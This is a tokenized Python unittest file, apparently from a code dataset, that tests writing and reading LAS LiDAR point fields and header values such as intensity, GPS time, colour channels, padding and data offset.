":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "Z", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "Z_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "Z_", "=_", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "z_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "z_", ")_", "==_", "list_", "(_", "z2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scale", "d\\u", "z_", "=_", "self_", "._", "File", "Object_", "._", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "z_", "=_", "scale", "d\\u", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "all_", "(_", "scale", "d\\u", "z_", "==_", "self_", "._", "File", "Object_", "._", "z_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "intensity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "intensity", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "intensity_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "intensity_", "=_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i2_", "=_", "self_", "._", "File", "Object_", "._", "intensity_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "i_", "==_", "list_", "(_", "i2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "return", "\\u", "num_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "return", "\\u", "num", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rn_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "return", "\\u", "num_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "return", "\\u", "num_", "=_", "rn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rn", "2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "return", "\\u", "num_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "rn_", "==_", "list_", "(_", "rn", "2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "num", "\\u", "returns_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "num", "\\u", "return", "s", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nr_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "num", "\\u", "returns_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "num", "\\u", "returns_", "=_", "nr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nr", "2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "num", "\\u", "returns_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "nr_", "==_", "list_", "(_", "nr", "2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "scan", "\\u", "dir\\u", "flag_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "scan", "\\u", "dir\\u", "flag", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sdf", "_", "=_", "[_", "flip", "\\u", "bit_", "(_", "x_", ")_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "scan", "\\u", "dir\\u", "flag_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "scan", "\\u", "dir\\u", "flag_", "=_", "sdf", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sdf", "2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "scan", "\\u", "dir\\u", "flag_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "sdf", "_", "==_", "list_", "(_", "sdf", "2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "edge", "\\u", "flight", "\\u", "line_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "edge", "\\u", "flight", "\\u", "line", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ef", "l_", "=_", "[_", "flip", "\\u", "bit_", "(_", "x_", ")_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "edge", "\\u", "flight", "\\u", "line_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "edge", "\\u", "flight", "\\u", "line_", "=_", "ef", "l_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ef", "l2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "edge", "\\u", "flight", "\\u", "line_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "ef", "l_", "==_", "list_", "(_", "ef", "l2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "classification_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "classificati", "on", " ", "byte", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c1_", "=_", "[_", "x_", "+_", "1_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "classification_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "classification_", "=_", "c1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "[_", "x_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "get", "\\u", "classification_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "c1_", "==_", "c2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "synthetic", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "synthetic", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s1_", "=_", "[_", "flip", "\\u", "bit_", "(_", "x_", ")_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "synthetic", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "synthetic", "_", "=_", "s1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "synthetic", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "s1_", "==_", "list_", "(_", "s2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "key", "\\u", "point_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "key", " ", "point", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "k1_", "=_", "[_", "flip", "\\u", "bit_", "(_", "x_", ")_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "key", "\\u", "point_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "key", "\\u", "point_", "=_", "k1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "k2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "key", "\\u", "point_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "k1_", "==_", "list_", "(_", "k2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "with", "hel", "d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "with", "hel", "d", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w1_", "=_", "[_", "flip", "\\u", "bit_", "(_", "x_", ")_", "for_", "x_", "in_", "self_", "._", "File", "Object_", "._", "with", "hel", "d_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "with", "hel", "d_", "=_", "w1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "with", "hel", "d_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "w1_", "==_", "list_", "(_", "w2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "scan", "\\u", "angle", "\\u", "rank_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "scan", " ", "angle", " ", "rank", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ar", "1_", "=_", "[_", "i_", "-_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "scan", "\\u", "angle", "\\u", "rank_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ar", "1_", "=_", "[_", "max_", "(_", "0_", ",_", "x_", ")_", "for_", "x_", "in_", "ar", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "scan", "\\u", "angle", "\\u", "rank_", "=_", "ar", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ar", "2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "scan", "\\u", "angle", "\\u", "rank_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "ar", "1_", "==_", "list_", "(_", "ar", "2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "user", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "user", " ", "data", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ud", "1_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "user", "\\u", "data_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "user", "\\u", "data_", "=_", "ud", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ud", "2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "user", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "ud", "1_", "==_", "list_", "(_", "ud", "2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "pt", "\\u", "src", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "point", " ", "source", " ", "id", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p1_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "user", "\\u", "data_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "user", "\\u", "data_", "=_", "p1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "user", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "p1_", "==_", "list_", "(_", "p2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "gps", "\\u", "time_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "gps", " ", "time", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "gps", "\\u", "time_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "gps", "\\u", "time_", "=_", "g1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "gps", "\\u", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "g1_", "==_", "list_", "(_", "g2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "red_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "red", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r1_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "red_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "red_", "=_", "r1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "red_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "r1_", "==_", "list_", "(_", "r2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "green_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "green", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "green_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "green_", "=_", "g1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "green_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "g1_", "==_", "list_", "(_", "g2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "blue_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "blue", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b1_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "blue_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "blue_", "=_", "b1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "blue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "b1_", "==_", "list_", "(_", "b2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "vl", "r", "\\u", "defin", "ed", "\\u", "dimension", "s2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "VL", "R", " ", "defin", "ed", " ", "dimension", " ", "API", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "=_", "File_", "._", "File_", "(_", "self_", "._", "output", "\\u", "tempfile_", ",_", "mode_", "=_", "\"", "w", "\"_", ",_", "header_", "=_", "self_", "._", "File", "Object_", "._", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "defin", "e\\u", "new", "\\u", "dimension_", "(_", "\"", "test\\u", "dimension", "\"_", ",_", "5_", ",_", "\"", "Thi", "s", " ", "is", " ", "a", " ", "test", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "X_", "=_", "self_", "._", "File", "Object_", "._", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "File", "2_", "._", "test\\u", "dimension_", "[_", "500_", "]_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "File", "2_", "._", "close_", "(_", "ignore", "\\u", "header", "\\u", "changes_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "file", "\\u", "src_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "file", "\\u", "src", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f1_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "files", "ource", "\\u", "id_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "files", "ource", "\\u", "id_", "=_", "f1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f2_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "get", "\\u", "files", "ource", "id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "f1_", "==_", "f2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "glob", "\\u", "encode_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "Global", " ", "Enco", "ding", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "global", "\\u", "encoding_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "global", "\\u", "encoding_", "=_", "g1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2_", "=_", "self_", "._", "File", "Object_", "._", "header_", "._", "get", "\\u", "global", "\\u", "encoding_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "g1_", "==_", "g2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "padding_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "Padd", "ing", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x1_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "set\\u", "padding_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "set\\u", "padding_", "(_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x2_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "x1_", ")_", "==_", "list_", "(_", "x2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "data\\u", "offset_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "ing", " ", "data", " ", "offset", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x1_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "header_", "._", "data\\u", "offset_", "=_", "400_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "File", "Object_", "._", "header_", "._", "get", "\\u", "datao", "ffset", "_", "(_", ")_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x2_", "=_", "list_", "(_", "self_", "._", "File", "Object_", "._", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "x1_", ")_", "==_", "list_", "(_", "x2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Head", "er", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "date_", "(_", "self_", ")_", 